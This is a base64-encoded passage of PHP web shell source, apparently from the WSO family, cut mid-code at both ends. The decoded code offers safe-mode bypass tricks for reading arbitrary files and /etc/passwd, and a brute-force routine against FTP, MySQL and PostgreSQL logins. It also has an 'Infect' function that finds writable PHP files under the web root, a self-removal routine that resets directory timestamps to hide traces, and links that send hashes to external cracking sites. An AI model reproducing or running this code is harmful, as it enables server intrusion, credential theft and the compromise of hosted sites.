IEBjb3VudCgkX0NPT0tJRVsnZiddKSAmJiAoKCRfQ09PS0lFWydhY3QnXSA9PSAnemlwJykgfHwg
KCRfQ09PS0lFWydhY3QnXSA9PSAndGFyJykpKQogICAgICAgIGVjaG8gIiZuYnNwO2ZpbGUgbmFt
ZTogPGlucHV0IHR5cGU9dGV4dCBuYW1lPXAyIHZhbHVlPSdoYXJkXyIgLiBkYXRlKCJZbWRfSGlz
IikgLiAiLiIgLiAoJF9DT09LSUVbJ2FjdCddID09ICd6aXAnPyd6aXAnOid0YXIuZ3onKSAuICIn
PiZuYnNwOyI7CiAgICBlY2hvICI8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nc3VibWl0Jz48
L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9kaXY+IjsKCWhhcmRGb290ZXIoKTsKfQpmdW5jdGlv
biBhY3Rpb25TdHJpbmdUb29scygpIHsKCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSkg
e2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVjYmluKGhleGRlYygkcCkpO319CiAgICBp
ZighZnVuY3Rpb25fZXhpc3RzKCdiaW5oZXgnKSkge2Z1bmN0aW9uIGJpbmhleCgkcCkge3JldHVy
biBkZWNoZXgoYmluZGVjKCRwKSk7fX0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJhc2NpaScp
KSB7ZnVuY3Rpb24gaGV4MmFzY2lpKCRwKXskcj0nJztmb3IoJGk9MDskaTxzdHJMZW4oJHApOyRp
Kz0yKXskci49Y2hyKGhleGRlYygkcFskaV0uJHBbJGkrMV0pKTt9cmV0dXJuICRyO319CglpZigh
ZnVuY3Rpb25fZXhpc3RzKCdhc2NpaTJoZXgnKSkge2Z1bmN0aW9uIGFzY2lpMmhleCgkcCl7JHI9
Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gc3ByaW50ZignJTAyWCcsb3JkKCRw
WyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnZnVs
bF91cmxlbmNvZGUnKSkge2Z1bmN0aW9uIGZ1bGxfdXJsZW5jb2RlKCRwKXskcj0nJztmb3IoJGk9
MDskaTxzdHJsZW4oJHApOysrJGkpJHIuPSAnJScuZGVjaGV4KG9yZCgkcFskaV0pKTtyZXR1cm4g
c3RydG91cHBlcigkcik7fX0KCSRzdHJpbmdUb29scyA9IGFycmF5KAoJCSdCYXNlNjQgZW5jb2Rl
JyA9PiAnYmFzZTY0X2VuY29kZScsCgkJJ0Jhc2U2NCBkZWNvZGUnID0+ICdiYXNlNjRfZGVjb2Rl
JywKCQknVXJsIGVuY29kZScgPT4gJ3VybGVuY29kZScsCgkJJ1VybCBkZWNvZGUnID0+ICd1cmxk
ZWNvZGUnLAoJCSdGdWxsIHVybGVuY29kZScgPT4gJ2Z1bGxfdXJsZW5jb2RlJywKCQknbWQ1IGhh
c2gnID0+ICdtZDUnLAoJCSdzaGExIGhhc2gnID0+ICdzaGExJywKCQknY3J5cHQnID0+ICdjcnlw
dCcsCgkJJ0NSQzMyJyA9PiAnY3JjMzInLAoJCSdBU0NJSSB0byBIRVgnID0+ICdhc2NpaTJoZXgn
LAoJCSdIRVggdG8gQVNDSUknID0+ICdoZXgyYXNjaWknLAoJCSdIRVggdG8gREVDJyA9PiAnaGV4
ZGVjJywKCQknSEVYIHRvIEJJTicgPT4gJ2hleDJiaW4nLAoJCSdERUMgdG8gSEVYJyA9PiAnZGVj
aGV4JywKCQknREVDIHRvIEJJTicgPT4gJ2RlY2JpbicsCgkJJ0JJTiB0byBIRVgnID0+ICdiaW5o
ZXgnLAoJCSdCSU4gdG8gREVDJyA9PiAnYmluZGVjJywKCQknU3RyaW5nIHRvIGxvd2VyIGNhc2Un
ID0+ICdzdHJ0b2xvd2VyJywKCQknU3RyaW5nIHRvIHVwcGVyIGNhc2UnID0+ICdzdHJ0b3VwcGVy
JywKCQknSHRtbHNwZWNpYWxjaGFycycgPT4gJ2h0bWxzcGVjaWFsY2hhcnMnLAoJCSdTdHJpbmcg
bGVuZ3RoJyA9PiAnc3RybGVuJywKCSk7CglpZihpc3NldCgkX1BPU1RbJ2FqYXgnXSkpIHsKCQlw
cm90b3R5cGUobWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnLCB0cnVlKTsKCQlvYl9z
dGFydCgpOwoJCWlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xzKSkKCQkJZWNo
byAkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKTsKCQkkdGVtcCA9ICJkb2N1bWVudC5nZXRFbGVt
ZW50QnlJZCgnc3RyT3V0cHV0Jykuc3R5bGUuZGlzcGxheT0nJztkb2N1bWVudC5nZXRFbGVtZW50
QnlJZCgnc3RyT3V0cHV0JykuaW5uZXJIVE1MPSciLmFkZGNzbGFzaGVzKGh0bWxzcGVjaWFsY2hh
cnMob2JfZ2V0X2NsZWFuKCkpLCJcblxyXHRcXCdcMCIpLiInO1xuIjsKCQllY2hvIHN0cmxlbigk
dGVtcCksICJcbiIsICR0ZW1wOwoJCWV4aXQ7Cgl9CiAgICBpZihlbXB0eSgkX1BPU1RbJ2FqYXgn
XSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQoJCXByb3RvdHlwZShtZDUoJF9TRVJWRVJbJ0hUVFBf
SE9TVCddKS4nYWpheCcsIDApOwoJaGFyZEhlYWRlcigpOwoJZWNobyAnPGgxPlN0cmluZyBjb252
ZXJzaW9uczwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pic7CgllY2hvICI8Zm9ybSBuYW1lPSd0b29s
c0Zvcm0nIG9uU3VibWl0PSdpZih0aGlzLmFqYXguY2hlY2tlZCl7YShudWxsLG51bGwsdGhpcy5z
ZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO31lbHNle2cobnVsbCxudWxsLHRoaXMu
c2VsZWN0VG9vbC52YWx1ZSx0aGlzLmlucHV0LnZhbHVlKTt9IHJldHVybiBmYWxzZTsnPjxsYWJl
bD48c2VsZWN0IG5hbWU9J3NlbGVjdFRvb2wnPiI7Cglmb3JlYWNoKCRzdHJpbmdUb29scyBhcyAk
ayA9PiAkdikKCQllY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiIn
PiIuJGsuIjwvb3B0aW9uPiI7CgkJZWNobyAiPC9zZWxlY3Q+PC9sYWJlbD48aW5wdXQgdHlwZT0n
c3VibWl0JyB2YWx1ZT0nc3VibWl0Jy8+IDxpbnB1dCB0eXBlPWNoZWNrYm94IG5hbWU9YWpheCB2
YWx1ZT0xICIuKEAkX0NPT0tJRVttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddPydj
aGVja2VkJzonJykuIj4gc2VuZCB1c2luZyBBSkFYPGJyPjx0ZXh0YXJlYSBuYW1lPSdpbnB1dCcg
c3R5bGU9J21hcmdpbi10b3A6NXB4JyBjbGFzcz1iaWdhcmVhPiIuKGVtcHR5KCRfUE9TVFsncDEn
XSk/Jyc6aHRtbHNwZWNpYWxjaGFycyhAJF9QT1NUWydwMiddKSkuIjwvdGV4dGFyZWE+PC9mb3Jt
PjxwcmUgY2xhc3M9J21sMScgc3R5bGU9JyIuKGVtcHR5KCRfUE9TVFsncDEnXSk/J2Rpc3BsYXk6
bm9uZTsnOicnKS4ibWFyZ2luLXRvcDo1cHgnIGlkPSdzdHJPdXRwdXQnPiI7CglpZighZW1wdHko
JF9QT1NUWydwMSddKSkgewoJCWlmKGluX2FycmF5KCRfUE9TVFsncDEnXSwgJHN0cmluZ1Rvb2xz
KSllY2hvIGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwMSddKCRfUE9TVFsncDInXSkpOwoJfQoJ
ZWNobyI8L3ByZT48L2Rpdj48YnI+PGgxPlNlYXJjaCBmaWxlczo8L2gxPjxkaXYgY2xhc3M9Y29u
dGVudD4KCQk8Zm9ybSBvbnN1Ym1pdD1cImcobnVsbCx0aGlzLmN3ZC52YWx1ZSxudWxsLHRoaXMu
dGV4dC52YWx1ZSx0aGlzLmZpbGVuYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHRhYmxlIGNl
bGxwYWRkaW5nPScxJyBjZWxsc3BhY2luZz0nMCcgd2lkdGg9JzUwJSc+CgkJCTx0cj48dGQgd2lk
dGg9JzElJz5UZXh0OjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0ZXh0JyBzdHls
ZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPgoJCQk8dHI+PHRkPlBhdGg6PC90ZD48dGQ+PGlucHV0
IHR5cGU9J3RleHQnIG5hbWU9J2N3ZCcgdmFsdWU9JyIuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JB
TFNbJ2N3ZCddKSAuIicgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4KCQkJPHRyPjx0ZD5O
YW1lOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlbmFtZScgdmFsdWU9Jyon
IHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+CgkJCTx0cj48dGQ+PC90ZD48dGQ+PGlucHV0
IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J3N1Ym1pdCc+PC90ZD48L3RyPgoJCQk8L3RhYmxlPjwvZm9y
bT4iOwoJZnVuY3Rpb24gaGFyZFJlY3Vyc2l2ZUdsb2IoJHBhdGgpIHsKCQlpZihzdWJzdHIoJHBh
dGgsIC0xKSAhPSAnLycpCgkJCSRwYXRoLj0nLyc7CgkJJHBhdGhzID0gQGFycmF5X3VuaXF1ZShA
YXJyYXlfbWVyZ2UoQGdsb2IoJHBhdGguJF9QT1NUWydwMyddKSwgQGdsb2IoJHBhdGguJyonLCBH
TE9CX09OTFlESVIpKSk7CgkJaWYoaXNfYXJyYXkoJHBhdGhzKSYmQGNvdW50KCRwYXRocykpIHsK
CQkJZm9yZWFjaCgkcGF0aHMgYXMgJOKWnykgewoJCQkJaWYoQGlzX2Rpcigk4pafKSl7CgkJCQkJ
aWYoJHBhdGghPSTilp8pCgkJCQkJCWhhcmRSZWN1cnNpdmVHbG9iKCTilp8pOwoJCQkJfSBlbHNl
IHsKCQkJCQlpZihlbXB0eSgkX1BPU1RbJ3AyJ10pIHx8IEBzdHJwb3MoZmlsZV9nZXRfY29udGVu
dHMoJOKWnyksICRfUE9TVFsncDInXSkhPT1mYWxzZSkKCQkJCQkJZWNobyAiPGEgaHJlZj0nIycg
b25jbGljaz0nZyhcIkZpbGVzVG9vbHNcIixudWxsLFwiIi51cmxlbmNvZGUoJOKWnykuIlwiLCBc
InZpZXdcIixcIlwiKSc+Ii5odG1sc3BlY2lhbGNoYXJzKCTilp8pLiI8L2E+PGJyPiI7CgkJCQl9
CgkJCX0KCQl9Cgl9CglpZihAJF9QT1NUWydwMyddKQoJCWhhcmRSZWN1cnNpdmVHbG9iKCRfUE9T
VFsnYyddKTsKCWVjaG8gIjwvZGl2Pjxicj48aDE+U2VhcmNoIGZvciBoYXNoOjwvaDE+PGRpdiBj
bGFzcz1jb250ZW50PgoJCTxmb3JtIG1ldGhvZD0ncG9zdCcgdGFyZ2V0PSdfYmxhbmsnIG5hbWU9
J2hmJz4KCQkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2hhc2gnIHN0eWxlPSd3aWR0aDoyMDBw
eDsnPjxicj4KICAgICAgICAgICAgPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nYWN0JyB2YWx1
ZT0nZmluZCcvPgoJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0naGFzaGNyYWNraW5nLnJ1
JyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwczovL2hhc2hjcmFja2luZy5ydS9p
bmRleC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPgoJCQk8aW5wdXQgdHlwZT0nc3Vi
bWl0JyB2YWx1ZT0nbWQ1LnJlZG5vaXplLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlv
bj0naHR0cDovL21kNS5yZWRub2l6ZS5jb20vP3E9Jytkb2N1bWVudC5oZi5oYXNoLnZhbHVlKycm
cz1tZDUnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPgogICAgICAgICAgICA8aW5wdXQgdHlw
ZT0nc3VibWl0JyB2YWx1ZT0nZmFrZW5hbWVnZW5lcmF0b3IuY29tJyBvbmNsaWNrPVwiZG9jdW1l
bnQuaGYuYWN0aW9uPSdodHRwOi8vd3d3LmZha2VuYW1lZ2VuZXJhdG9yLmNvbS8nO2RvY3VtZW50
LmhmLnN1Ym1pdCgpXCI+PGJyPgoJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0naGFzaGNy
YWNrLmNvbScgb25jbGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL3d3dy5oYXNoY3Jh
Y2suY29tL2luZGV4LnBocCc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+CgkJCTxpbnB1dCB0
eXBlPSdzdWJtaXQnIHZhbHVlPSd0b29sa2kuY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0
aW9uPSdodHRwOi8vdG9vbGtpLmNvbS8nO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPgoJCQk8
aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nZm9wby5jb20uYXInIG9uY2xpY2s9XCJkb2N1bWVu
dC5oZi5hY3Rpb249J2h0dHA6Ly9mb3BvLmNvbS5hci8nO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+
PGJyPgoJCQk8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nbWQ1ZGVjcnlwdGVyLmNvbScgb25j
bGljaz1cImRvY3VtZW50LmhmLmFjdGlvbj0naHR0cDovL3d3dy5tZDVkZWNyeXB0ZXIuY29tLyc7
ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+CgkJPC9mb3JtPjwvZGl2PiI7CgloYXJkRm9vdGVy
KCk7Cn0KZnVuY3Rpb24gYWN0aW9uU2FmZU1vZGUoKSB7CgkkdGVtcD0nJzsKCW9iX3N0YXJ0KCk7
Cglzd2l0Y2goJF9QT1NUWydwMSddKSB7CgkJY2FzZSAxOgoJCQkkdGVtcD1AdGVtcG5hbSgkdGVz
dCwgJ2N4Jyk7CgkJCWlmKEBjb3B5KCJjb21wcmVzcy56bGliOi8vIi4kX1BPU1RbJ3AyJ10sICR0
ZW1wKSl7CgkJCQllY2hvIEBmaWxlX2dldF9jb250ZW50cygkdGVtcCk7CgkJCQl1bmxpbmsoJHRl
bXApOwoJCQl9IGVsc2UKCQkJCWVjaG8gJ1NvcnJ5Li4uIENhblwndCBvcGVuIGZpbGUnOwoJCQli
cmVhazsKCQljYXNlIDI6CgkJCSRmaWxlcyA9IGdsb2IoJF9QT1NUWydwMiddLicqJyk7CgkJCWlm
KCBpc19hcnJheSgkZmlsZXMpICkKCQkJCWZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZW5hbWUpCgkJ
CQkJZWNobyAkZmlsZW5hbWUuIlxuIjsKCQkJYnJlYWs7CgkJY2FzZSAzOgoJCQkkY2ggPSBjdXJs
X2luaXQoImZpbGU6Ly8iLiRfUE9TVFsncDInXS4iXHgwMCIuU0VMRl9QQVRIKTsKCQkJY3VybF9l
eGVjKCRjaCk7CgkJCWJyZWFrOwoJCWNhc2UgNDoKCQkJaW5pX3Jlc3RvcmUoInNhZmVfbW9kZSIp
OwoJCQlpbmlfcmVzdG9yZSgib3Blbl9iYXNlZGlyIik7CgkJCWluY2x1ZGUoJF9QT1NUWydwMidd
KTsKCQkJYnJlYWs7CgkJY2FzZSA1OgoJCQlmb3IoOyRfUE9TVFsncDInXSA8PSAkX1BPU1RbJ3Az
J107JF9QT1NUWydwMiddKyspIHsKCQkJCSR1aWQgPSBAcG9zaXhfZ2V0cHd1aWQoJF9QT1NUWydw
MiddKTsKCQkJCWlmICgkdWlkKQoJCQkJCWVjaG8gam9pbignOicsJHVpZCkuIlxuIjsKCQkJfQoJ
CQlicmVhazsKCQljYXNlIDY6CgkJCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2ltYXBfb3BlbicpKWJy
ZWFrOwoJCQkkc3RyZWFtID0gaW1hcF9vcGVuKCRfUE9TVFsncDInXSwgIiIsICIiKTsKCQkJaWYg
KCRzdHJlYW0gPT0gRkFMU0UpCgkJCQlicmVhazsKCQkJZWNobyBpbWFwX2JvZHkoJHN0cmVhbSwg
MSk7CgkJCWltYXBfY2xvc2UoJHN0cmVhbSk7CgkJCWJyZWFrOwoJfQoJJHRlbXAgPSBvYl9nZXRf
Y2xlYW4oKTsKCWhhcmRIZWFkZXIoKTsKCWVjaG8gJzxoMT5TYWZlIG1vZGUgYnlwYXNzPC9oMT48
ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKCWVjaG8gJzxzcGFuPkNvcHkgKHJlYWQgZmlsZSk8L3NwYW4+
PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMSIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJu
IGZhbHNlO1wnPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxp
bnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+PGJyPjxzcGFuPkdsb2IgKGxp
c3QgZGlyKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxsLCIyIix0aGlzLnBhcmFt
LnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0
IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJzdWJtaXQiPjwvZm9ybT48YnI+
PHNwYW4+Q3VybCAocmVhZCBmaWxlKTwvc3Bhbj48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVsbCxudWxs
LCIzIix0aGlzLnBhcmFtLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCc+PGlucHV0IGNsYXNzPSJ0b29s
c0lucCIgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJzdWJt
aXQiPjwvZm9ybT48YnI+PHNwYW4+SW5pX3Jlc3RvcmUgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0g
b25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNCIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNl
O1wnPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPXBhcmFtPjxpbnB1dCB0
eXBlPXN1Ym1pdCB2YWx1ZT0ic3VibWl0Ij48L2Zvcm0+PGJyPjxzcGFuPlBvc2l4X2dldHB3dWlk
ICgiUmVhZCIgL2V0Yy9wYXNzd2QpPC9zcGFuPjx0YWJsZT48Zm9ybSBvbnN1Ym1pdD1cJ2cobnVs
bCxudWxsLCI1Iix0aGlzLnBhcmFtMS52YWx1ZSx0aGlzLnBhcmFtMi52YWx1ZSk7cmV0dXJuIGZh
bHNlO1wnPjx0cj48dGQ+RnJvbTwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbTEg
dmFsdWU9MD48L3RkPjwvdHI+PHRyPjx0ZD5UbzwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFt
ZT1wYXJhbTIgdmFsdWU9MTAwMD48L3RkPjwvdHI+PC90YWJsZT48aW5wdXQgdHlwZT1zdWJtaXQg
dmFsdWU9InN1Ym1pdCI+PC9mb3JtPjxicj48YnI+PHNwYW4+SW1hcF9vcGVuIChyZWFkIGZpbGUp
PC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjYiLHRoaXMucGFyYW0udmFsdWUp
O3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9
c3VibWl0IHZhbHVlPSJzdWJtaXQiPjwvZm9ybT4nOwoJaWYoJHRlbXApCgkJZWNobyAnPHByZSBj
bGFzcz0ibWwxIiBzdHlsZT0ibWFyZ2luLXRvcDo1cHgiIGlkPSJPdXRwdXQiPicuJHRlbXAuJzwv
cHJlPic7CgllY2hvICc8L2Rpdj4nOwoJaGFyZEZvb3RlcigpOwp9CmZ1bmN0aW9uIGFjdGlvbkxv
Z291dCgpIHsKICAgIHNldGNvb2tpZShtZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSwgJycsIHRp
bWUoKSAtIDM2MDApOwoJZGllKCdieWUhJyk7Cn0KZnVuY3Rpb24gYWN0aW9uU2VsZlJlbW92ZSgp
IHsKCWlmKCRfUE9TVFsncDEnXSA9PSAneWVzJykgewoJCSRjdXJyX2ZpbGUgPSBwcmVnX3JlcGxh
Y2UoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pOwoJCSRkaXIgPSBAZGlybmFtZSgkY3Vy
cl9maWxlKTsKCQkkZGlydGltZSA9IEBmaWxlbXRpbWUoJGRpcik7CiAgICAgICAgaWYgKEB1bmxp
bmsoJGN1cnJfZmlsZSkpIHsKICAgICAgICAgICAgZGllKCdTaGVsbCBoYXMgYmVlbiByZW1vdmVk
Jyk7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgZWNobyAndW5saW5rIGVycm9yISc7CiAg
ICAgICAgfQogICAgICAgIEB0b3VjaCgkZGlyLCAkZGlydGltZSwgJGRpcnRpbWUpOwogICAgfQog
ICAgaWYoJF9QT1NUWydwMSddICE9ICd5ZXMnKQogICAgICAgIGhhcmRIZWFkZXIoKTsKCWVjaG8g
JzxoMT5TdWljaWRlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+UmVhbGx5IHdhbnQgdG8gcmVtb3Zl
IHRoZSBzaGVsbD88YnI+PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwneWVzXCcpIj5Z
ZXM8L2E+PC9kaXY+JzsKCWhhcmRGb290ZXIoKTsKfQpmdW5jdGlvbiBhY3Rpb25JbmZlY3QoKSB7
CgloYXJkSGVhZGVyKCk7CgllY2hvICc8aDE+SW5mZWN0PC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+
JzsKCWlmKCRfUE9TVFsncDEnXSA9PSAnaW5mZWN0JykgewoJCSR0YXJnZXQ9JF9TRVJWRVJbJ0RP
Q1VNRU5UX1JPT1QnXTsKCQkJZnVuY3Rpb24gTGlzdEZpbGVzKCRkaXIpIHsKCQkJCWlmKCRkaCA9
IG9wZW5kaXIoJGRpcikpIHsKCQkJCQkkZmlsZXMgPSBBcnJheSgpOwoJCQkJCSRpbm5lcl9maWxl
cyA9IEFycmF5KCk7CgkJCQkJd2hpbGUoJGZpbGUgPSByZWFkZGlyKCRkaCkpIHsKCQkJCQkJaWYo
JGZpbGUgIT0gIi4iICYmICRmaWxlICE9ICIuLiIpIHsKCQkJCQkJCWlmKGlzX2RpcigkZGlyIC4g
Ii8iIC4gJGZpbGUpKSB7CgkJCQkJCQkJJGlubmVyX2ZpbGVzID0gTGlzdEZpbGVzKCRkaXIgLiAi
LyIgLiAkZmlsZSk7CgkJCQkJCQkJaWYoaXNfYXJyYXkoJGlubmVyX2ZpbGVzKSkgJGZpbGVzID0g
YXJyYXlfbWVyZ2UoJGZpbGVzLCAkaW5uZXJfZmlsZXMpOwoJCQkJCQkJfSBlbHNlIHsKCQkJCQkJ
CQlhcnJheV9wdXNoKCRmaWxlcywgJGRpciAuICIvIiAuICRmaWxlKTsKCQkJCQkJCX0KCQkJCQkJ
fQoJCQkJCX0KCQkJCQljbG9zZWRpcigkZGgpOwoJCQkJCXJldHVybiAkZmlsZXM7CgkJCQl9CgkJ
CX0KCQkJZm9yZWFjaCAoTGlzdEZpbGVzKCR0YXJnZXQpIGFzICRrZXk9PiRmaWxlKXsKCQkJCSRu
RmlsZSA9IHN1YnN0cigkZmlsZSwgLTQsIDQpOwoJCQkJaWYoJG5GaWxlID09ICIucGhwIiApewoJ
CQkJCWlmKCgkZmlsZTw+JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4kX1NFUlZFUlsnUEhQX1NF
TEYnXSkmJihpc193cml0ZWFibGUoJGZpbGUpKSl7CgkJCQkJCWVjaG8gIiRmaWxlPGJyPiI7CgkJ
CQkJCSRpKys7CgkJCQkJfQoJCQkJfQoJCQl9CgkJCWVjaG8gIjxmb250IGNvbG9yPXJlZCBzaXpl
PTE0PiRpPC9mb250PiI7CgkJfWVsc2V7CgkJCWVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0PjxpbnB1
dCB0eXBlPXN1Ym1pdCB2YWx1ZT1JbmZlY3QgbmFtZT1pbmZldD48L2Zvcm0+IjsKCQkJZWNobyAn
UmVhbGx5IHdhbnQgdG8gaW5mZWN0IHRoZSBzZXJ2ZXI/Jm5ic3A7PGEgaHJlZj0jIG9uY2xpY2s9
ImcobnVsbCxudWxsLFwnaW5mZWN0XCcpIj5ZZXM8L2E+PC9kaXY+JzsKCQl9CgloYXJkRm9vdGVy
KCk7Cn0KZnVuY3Rpb24gYWN0aW9uQnJ1dGVmb3JjZSgpIHsKCWhhcmRIZWFkZXIoKTsKCWlmKCBp
c3NldCgkX1BPU1RbJ3Byb3RvJ10pICkgewoJCWVjaG8gJzxoMT5SZXN1bHRzPC9oMT48ZGl2IGNs
YXNzPWNvbnRlbnQ+PHNwYW4+VHlwZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1Rb
J3Byb3RvJ10pLicgPHNwYW4+U2VydmVyOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9T
VFsnc2VydmVyJ10pLic8YnI+JzsKCQlpZiggJF9QT1NUWydwcm90byddID09ICdmdHAnICkgewoJ
CQlmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsKCQkJCSRmcCA9
IEBmdHBfY29ubmVjdCgkaXAsICRwb3J0PyRwb3J0OjIxKTsKCQkJCWlmKCEkZnApIHJldHVybiBm
YWxzZTsKCQkJCSRyZXMgPSBAZnRwX2xvZ2luKCRmcCwgJGxvZ2luLCAkcGFzcyk7CgkJCQlAZnRw
X2Nsb3NlKCRmcCk7CgkJCQlyZXR1cm4gJHJlczsKCQkJfQoJCX0gZWxzZWlmKCAkX1BPU1RbJ3By
b3RvJ10gPT0gJ215c3FsJyApIHsKCQkJZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxv
Z2luLCRwYXNzKSB7CgkJCQkkcmVzID0gQG15c3FsX2Nvbm5lY3QoJGlwLic6Jy4oJHBvcnQ/JHBv
cnQ6MzMwNiksICRsb2dpbiwgJHBhc3MpOwoJCQkJQG15c3FsX2Nsb3NlKCRyZXMpOwoJCQkJcmV0
dXJuICRyZXM7CgkJCX0KCQl9IGVsc2VpZiggJF9QT1NUWydwcm90byddID09ICdwZ3NxbCcgKSB7
CgkJCWZ1bmN0aW9uIGJydXRlRm9yY2UoJGlwLCRwb3J0LCRsb2dpbiwkcGFzcykgewoJCQkJJHN0
ciA9ICJob3N0PSciLiRpcC4iJyBwb3J0PSciLiRwb3J0LiInIHVzZXI9JyIuJGxvZ2luLiInIHBh
c3N3b3JkPSciLiRwYXNzLiInIGRibmFtZT1wb3N0Z3JlcyI7CgkJCQkkcmVzID0gQHBnX2Nvbm5l
Y3QoJHN0cik7CgkJCQlAcGdfY2xvc2UoJHJlcyk7CgkJCQlyZXR1cm4gJHJlczsKCQkJfQoJCX0K
CQkkc3VjY2VzcyA9IDA7CgkJJGF0dGVtcHRzID0gMDsKCQkkc2VydmVyID0gZXhwbG9kZSgiOiIs
ICRfUE9TVFsnc2VydmVyJ10pOwoJCWlmKCRfUE9TVFsndHlwZSddID09IDEpIHsKCQkJJHRlbXAg
PSBAZmlsZSgnL2V0Yy9wYXNzd2QnKTsKCQkJaWYoIGlzX2FycmF5KCR0ZW1wKSApCgkJCQlmb3Jl
YWNoKCR0ZW1wIGFzICRsaW5lKSB7CgkJCQkJJGxpbmUgPSBleHBsb2RlKCI6IiwgJGxpbmUpOwoJ
CQkJCSsrJGF0dGVtcHRzOwoJCQkJCWlmKCBicnV0ZUZvcmNlKEAkc2VydmVyWzBdLEAkc2VydmVy
WzFdLCAkbGluZVswXSwgJGxpbmVbMF0pICkgewoJCQkJCQkkc3VjY2VzcysrOwoJCQkJCQllY2hv
ICc8Yj4nLmh0bWxzcGVjaWFsY2hhcnMoJGxpbmVbMF0pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFy
cygkbGluZVswXSkuJzxicj4nOwoJCQkJCX0KCQkJCQlpZihAJF9QT1NUWydyZXZlcnNlJ10pIHsK
CQkJCQkJJHRtcCA9ICIiOwoJCQkJCQlmb3IoJGk9c3RybGVuKCRsaW5lWzBdKS0xOyAkaT49MDsg
